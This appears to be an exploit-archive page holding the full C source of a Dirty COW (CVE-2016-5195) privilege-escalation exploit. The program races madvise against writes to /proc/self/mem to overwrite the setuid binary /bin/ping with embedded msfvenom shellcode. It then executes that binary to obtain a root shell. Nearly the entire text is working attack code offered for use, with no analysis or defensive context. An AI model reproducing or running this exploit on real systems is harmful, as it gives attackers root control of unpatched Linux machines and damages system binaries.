Exploit databaseDownload repository ZIP
GH-4a7fcc42b60429d5e52da3752b0f314d
talsim/root-dirtyc0w
Sources for CVE-2016-5195
80 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
talsim/root-dirtyc0wRevision 9a96e4217ee4
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
root-dirtyc0w.c
C · 4,129 bytes#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// the suid binary that we will overwrite with our generated elf
char suid_binary[] = "/bin/ping";
/*
* Generated by msfvenom tool from the metsploit framework (https://www.offensive-security.com/metasploit-unleashed/msfvenom)
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*
* Description: x86 elf executable shellcode that spawns a shell with the setuid bit (as a root)
*/
char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
int shellcode_len = sizeof(shellcode);
void *madviseThread(void *arg)
{
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0; i<1000000 && !stop; i++)
{
lseek(f,(off_t)map,SEEK_SET);
c+=write(f, str, shellcode_len);
}
printf("procselfmem thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[shellcode_len];
while(1)
{
FILE *fp = fopen(suid_binary, "rb");
fread(buf, shellcode_len, 1, fp); // search for the shellcode injection in sudo_binary
if(memcmp(buf, shellcode, shellcode_len) == 0) // if the shellcode is present in the binary then we succsessfuly overwritten it -> break and stop the threads.
{
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
}
stop = 1;
printf("\n[*] Popping root shell\n");
system(suid_binary);
}
int main(int argc,char *argv[])
{
printf("DirtyCow (CVE-2016-5195) root privilege escalation\n");
/*
* Steps:
* 1. Get the size of the suid_binary and make a backup.
* 2. Overwrite this binary with a shell (ELF file) plus padding (so it’s the same size as the SUID binary).
* 3. Execute the new shell.
*/
size_t bakSize = strlen("cp /tmp/suid_binary") + strlen(suid_binary) + 1;
char *backup = (char*)malloc(bakSize);
printf("Backing up %s to /tmp/suid_binary\n", suid_binary);
snprintf(backup, bakSize, "cp %s /tmp/suid_binary", suid_binary);
system(backup);
free(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st); // get the file's details
printf("Size of binary: %ld\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size); // to overwrite the whole suid_binary with 0x90 (nopsled)
memcpy(payload, shellcode, shellcode_len+1); // to overwrite suid_binary with the shellcode to later run
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); // MAP_PRIVATE flag tells the kernel to use COW technique
printf("Racing...\n");
// Creating the threads
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL); // tell main to wait until we finish writing (waitForWrite)
return 0;
}